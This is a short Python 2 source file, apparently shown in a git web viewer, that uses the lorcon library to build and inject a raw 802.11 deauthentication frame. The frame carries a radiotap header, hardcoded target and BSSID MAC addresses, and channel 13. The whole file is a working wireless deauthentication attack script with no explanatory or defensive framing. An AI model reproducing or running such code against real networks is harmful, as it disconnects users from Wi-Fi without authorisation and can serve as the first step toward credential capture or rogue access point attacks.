aboutsummaryrefslogblamecommitdiffstats
path: root/viensamoi/deauth_lorcon.py
blob: 4a1b64cda581728ed1841281892e102cfd9c8def (plain) (tree)






























                                                                            
#!/usr/bin/env python2
# encoding: utf-8

import lorcon

iface = 'mon0'

data =  '\x00\x00\x12\x00'         # Header revision, pad, length
data += '\x2e\x48\x00\x00'         # Flags
data += '\x00'                     # Additional flags
data += '\x02'                     # Data rate \x02 == 1.0 Mb/s
data += '\xa8\x09'                 # Frequency 0x09a8 -> 2472 MHz -> Chan 13
data += '\xa0\x00'                 # Channel type
data += '\xd2'                     # SSI signal 
data += '\x03'                     # Antenna number
data += '\x00\x00'                 # RX Flags

data += '\xc0'                     # Deauth 802.11
data += '\x00'                     # Flags
data += '\xda\x00'                 # Duration 0xda == 218
data += '\x78\xe4\x00\x1e\x26\x28' # Destination address
data += '\xf4\xca\xe5\xfc\xf7\xf4' # Source address
data += '\xf4\xca\xe5\xfc\xf7\xf4' # BSSID
data += '\x90\xc5'                 # Sequence number
data += '\x02\x01'                 # Reason

lrc = lorcon.Lorcon()
drv = lrc.auto_driver(iface)
ctx = lrc.create(iface, drv)
ctx.open_inject()
ctx.send_bytes(data)